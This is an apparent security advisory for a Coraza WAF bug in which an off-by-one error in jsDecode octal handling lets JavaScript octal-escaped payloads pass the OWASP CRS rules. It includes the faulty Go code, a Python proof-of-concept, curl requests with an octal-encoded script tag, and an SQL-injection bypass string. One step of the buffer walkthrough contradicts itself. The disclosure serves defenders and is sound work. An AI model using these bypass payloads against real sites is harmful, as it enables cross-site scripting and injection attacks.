CVE-2026-104774: Coraza · jsDecode Off-by-One in Octal Escape Handling Enables WAF Bypass

### Summary The `t:jsDecode` transformation in Coraza WAF contains an off-by-one error when parsing octal escape sequences. A backslash character was incorrectly included in the octal number buffer, causing `strconv.ParseInt` to fail for every octal escape sequence and return a null byte instead of the decoded value that would normally be returned. This will cause all JS-escaped payloads to be corrupted, thus leading to the bypassing of these WAF rules when WAF rules that rely on `jsDecode` for normalization are enabled. Therefore, a real-world attack scenario: an attacker could use JavaScript octal escape sequences (`\ooo`) to encode attack syntax. Although the WAF cannot decode these sequences correctly, the target backend (such as a browser or application) can parse them as expected. ### Details Vulnerable code: `internal/transformations/js_decode.go:64-70.` ```go case (i+1 < inputLen) && isodigit(input[i+1]): /* \OOO (only one byte, \000 - \377) */ buf := make([]byte, 3) j := 0 for (i+1+j < inputLen) && (j < 3) { buf[j] = input[i+j] // this should be `input[i+1+j]` j++ if !isodigit(input[i+j]) { break } } ``` This is because, when entering octal mode, the loop variable `i` points to the backslash character `\`. Before entering octal mode, the pointer **does not** cross the backslash (unlike in the `\u` and `\x` cases, where `i+N` is used as the index). Line 65 uses `input[i+j]`, so when `j=0`, the backslash character itself is copied to `buf[0]`. The subsequent call to `strconv.ParseInt(string(buf), 8, 8)` will fail because `\` is not a valid octal digit; it therefore returns `0` and raises an error (which is silently suppressed by `_`), resulting in the loss of the bytes that were supposed to be decoded. For example, Input `\163`. The loop starts with `j=0`: `buf[0] = input[i+0] = ‘\’ ` (the backslash itself). The counter `j` is incremented to 1. Since `isodigit(input[i+1]) = isodigit(‘1’)` is true, the loop continues. When `j=1`: `buf[1] = input[i+1] = ‘1’`. The counter increments to 2; `isodigit(input[i+2]) = isodigit(‘6’)` is true. At this point, `j = 2`: `buf[2] = input[i+2] = ‘6’`. The counter increments to 3, at which point the loop condition `j < 3` is no longer satisfied. Final buffer: `buf = [‘\’, ‘1’, ‘6’]`. The buffer is truncated when `j = 2` (because `buf[0] = ‘\’ > ‘3’`), leaving `[‘\’, ‘1’]`. This error affects all octal escape sequences (from `\000` to `\377`). Each sequence is decoded and displayed as `0x00` instead of the expected value. For example: `\377` is normally decoded as `\xff` or 255 ```go // Bug: buf = ['\', '3', '7'] to string(buf) = "\\37" nn, _ = strconv.ParseInt("\\37", 8, 8) // nn = 0 // Correct: buf = ['3', '7', '7'] = "377" nn, _ = strconv.ParseInt("377", 8, 8) // nn = 255 = 0xFF ``` ### PoC #### Test Environment Coraza WAF v3.7.0 is configured to `127.0.0.1:8090`, `SecRuleEngine` is set to `On`, `SecRequestBodyAccess` is set to `On`, and the complete OWASP CRS rule set has been loaded. #### PoC Executable Script ```python #!/usr/bin/env python3 import urllib.request, sys TARGET = sys.argv[1] if len(sys.argv) > 1 else "http://127.0.0.1:8090" normal_url = f"{TARGET}/?q=%3Cscript%3E" octal_url = f"{TARGET}/?q=%3C%5C163%5C143%5C162%5C151%5C160%5C164%3E" print(f"[Normal XSS: {normal_url}") try: urllib.request.urlopen(normal_url) print(" Response: 200 ") except urllib.error.HTTPError as e: print(f" Response: {e.code}") print(f"\nBypass JS octal-escaped XSS: {octal_url}") try: urllib.request.urlopen(octal_url) print(" Response: 200 (BYPASS)") except urllib.error.HTTPError as e: print(f" Response: {e.code}") ``` output: ``` Normal XSS: http://127.0.0.1:8090/?q=%3Cscript%3E Response: 403 Bypass JS octal-escaped XSS: http://127.0.0.1:8090/?q=%3C%5C163%5C143%5C162%5C151%5C160%5C164%3E Response: 200 (BYPASS) ``` #### Proof - Normal Test ```bash curl -v -s "http://127.0.0.1:8090/?q=%3Cscript%3E" < HTTP/1.1 403 Forbidden < Date: Wed, 01 Jul 2026 16:09:04 GMT ``` - Bypass Test ``` curl -v -s "http://127.0.0.1:8090/?q=%3C%5C163%5C143%5C162%5C151%5C160%5C164%3E" < HTTP/1.1 200 OK < Date: Wed, 01 Jul 2026 16:09:04 GMT < Content-Length: 39 < Hello world, transaction not disrupted. ``` - Log Proof ``` 2026/07/01 16:09:04 [DEBUG] Transaction finished tx_id="<txid>" is_interrupted=false ``` ### Impact Attackers can bypass WAFs that rely on the `t:jsDecode` transformation rule, leading to cross-site scripting (XSS), SQL injection, or other malicious activities. #### Real-world attack scenarios: **SQL injection bypass.** A rule using `t:jsDecode` received `\47\117\122\40\61\75\61` (i.e., `' OR 1=1`). This octal string decodes to `\0...`, so the rule did not match the SQL injection pattern. ### Affected Versions Coraza WAF v3.0.0 - v3.7.0 ### Resolution Fixed in `internal/transformations/js_decode.go`'s `\OOO` octal branch, plus two related issues found and fixed while

• github.com/corazawaf/coraza/security/advisories/GHSA-pc5q-qfxp-ggqv (opens in a new tab)
• github.com/corazawaf/coraza/commit/f9b7afdbcedce7ad814663eaee2e342578ea3bb2 (opens in a new tab)
• github.com/corazawaf/coraza (opens in a new tab)
• github.com/corazawaf/coraza/releases/tag/v3.8.0 (opens in a new tab)

• github.com/corazawaf/coraza/v3 · Coraza: Truncated multipart body bypasses MULTIPART_STRICT_ERROR (rule 200003) via silent io.ErrUnexpectedEOF handlingMediumVulnerability2026-10-06
• github.com/corazawaf/coraza/v3 · Coraza: Silent argument drop at ArgumentLimit allows bypass of ARGS-targeted rules via parameter floodingHighVulnerability2026-10-06
• CVE-2026-53088: Linux kernel · net: bcmgenet: fix off-by-one in bcmgenet_put_txcbCriticalVulnerability2026-06-24
• CVE-2026-110306: fast-uri · Encoding ErrorMediumVulnerability2026-10-20
• CVE-2026-114614: authlib · Open RedirectLowVulnerability2026-10-22